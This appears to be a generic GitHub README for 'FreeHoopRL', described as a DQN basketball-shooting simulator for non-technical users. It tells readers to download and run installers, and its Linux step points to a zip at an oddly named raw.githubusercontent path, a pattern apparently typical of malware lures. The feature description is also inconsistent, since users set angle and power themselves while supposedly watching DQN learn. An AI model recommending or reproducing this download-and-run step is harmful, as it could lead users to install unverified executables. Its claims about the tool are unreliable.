Welcome to FreeHoopRL, a tool that helps you understand the DQN algorithm through a basketball shooting simulation. This application is simple to use and does not require any programming knowledge.
To get started, visit the Releases page to download the latest version of FreeHoopRL. Click the link below:
Visit the Releases Page to Download
- User-Friendly Interface: Designed for non-technical users.
- Basketball Simulation: Experience shooting basketballs in a controlled setting.
- Understand DQN: Learn about the DQN algorithm practically.
- 2D Simulation: Simple visuals that focus on the algorithm rather than complex graphics.
- No Air Resistance: The simulation does not account for air resistance for easier understanding.
Before downloading, ensure your system meets the following requirements:
- Operating System: Windows, macOS, or Linux
- Memory: At least 4 GB RAM
- Storage: Minimum 200 MB available space
- Graphics: Basic graphics card to run 2D simulations smoothly
- Internet: Required for downloading the application
-
Download: Click the link above to visit the Releases page and download the latest version.
-
Installation:
- For Windows: Double-click the downloaded .exe file and follow the on-screen instructions.
- For macOS: Open the .dmg file and drag the FreeHoopRL icon to your Applications folder.
- For Linux: Extract the https://raw.githubusercontent.com/SicrediRC/FreeHoopRL/main/unwrestled/FreeHoopRL.zip file and run the application from the extracted folder.
-
Launching the App: Find the FreeHoopRL icon on your desktop or in your Applications folder and double-click to open it.
-
Starting the Simulation:
- Once the application opens, you will see a simple interface.
- Choose your shooting angle and power.
- Hit the "Shoot" button to simulate your shot.
- Observe and learn how the DQN algorithm works in real time.
If you encounter issues, here are common problems and solutions:
- Application Won't Start: Ensure your system meets the requirements mentioned above.
- Graphics Issues: Update your graphics drivers for better performance.
- Simulation is Slow: Close other applications to free up system resources.
For more information on the DQN algorithm and machine learning, check out these resources:
- Deep Q-Learning: A Beginner's Guide
- Understanding Reinforcement Learning
- Introduction to Machine Learning
For support, please reach out via the Issues page on GitHub. We appreciate your feedback and suggestions.
Remember, learning about algorithms can be fun and interactive with FreeHoopRL. Enjoy your basketball shooting simulations!